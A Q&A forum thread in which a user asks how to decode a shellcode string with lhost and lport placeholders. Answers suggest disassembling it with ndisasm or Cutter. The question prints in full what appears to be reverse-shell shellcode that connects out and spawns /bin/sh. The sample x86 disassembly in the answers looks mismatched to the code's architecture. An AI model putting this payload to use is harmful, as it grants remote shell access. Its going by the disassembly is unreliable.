how to decode shellcode to ascii

user_13771591 0
Viewed 7044

i have some shellcode that when i convert to ascii it doesnt output text its just gibberish.

\x24\x11\xff\xff\x24\x04\x27\x0f\x24\x02\x10\x46\x01\x01\x01\x0c\x1e\x20\xff\xfc\x24\x11\x10\x2d\x24\x02\x0f\xa2\x01\x01\x01\x0c\x1c\x40\xff\xf8\x24\x0f\xff\xfa\x01\xe0\x78\x27\x21\xe4\xff\xfd\x21\xe5\xff\xfd\x28\x06\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\xaf\xa2\xff\xff\x8f\xa4\xff\xff\x34\x0f\xff\xfd\x01\xe0\x78\x27\xaf\xaf\xff\xe0\x3c\x0e + lport +\x35\xce + lport +\xaf\xae\xff\xe4\x3c\x0e + lhost[:2] +\x35\xce + lhost[2:4] +\xaf\xae\xff\xe6\x27\xa5\xff\xe2\x24\x0c\xff\xef\x01\x80\x30\x27\x24\x02\x10\x4a\x01\x01\x01\x0c\x24\x0f\xff\xfd\x01\xe0\x78\x27\x8f\xa4\xff\xff\x01\xe0\x28\x21\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x10\xff\xff\x21\xef\xff\xff\x15\xf0\xff\xfa\x28\x06\xff\xff\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c

i tried decoding it multiple ways with the same output, is there any other way to decode this?

shellcode decoding linux
2 Answers

You can disassemble using python one liner with ndisasm tools.

eg. python -c 'print "\x24\x11\xff\xff\x24\x04\x27\x0f"' | ndisasm -u -

Result :

00000000  2411              and al,0x11
00000002  FF                db 0xff
00000003  FF2404            jmp [esp+eax]
00000006  27                daa
00000007  0F                db 0x0f
00000008  0A                db 0x0a
user_36491740

You could use cutter which is a debug / dumping tool for all kinds of files. You can make a files e.g: touch script.sh type your shellcode in the file and then run e.g: cutter script.sh if you don't know how to use the individual tools in the CLI, and get more information in one place, then only the dissasembly with:

python -c 'print "\x24\x11\xff\xff\x24\x04\x27\x0f"' | ndisasm -u -

then cutter is a great tool for showing you information quick and easy.

Cutter: https://cutter.re/

user_144807650
Related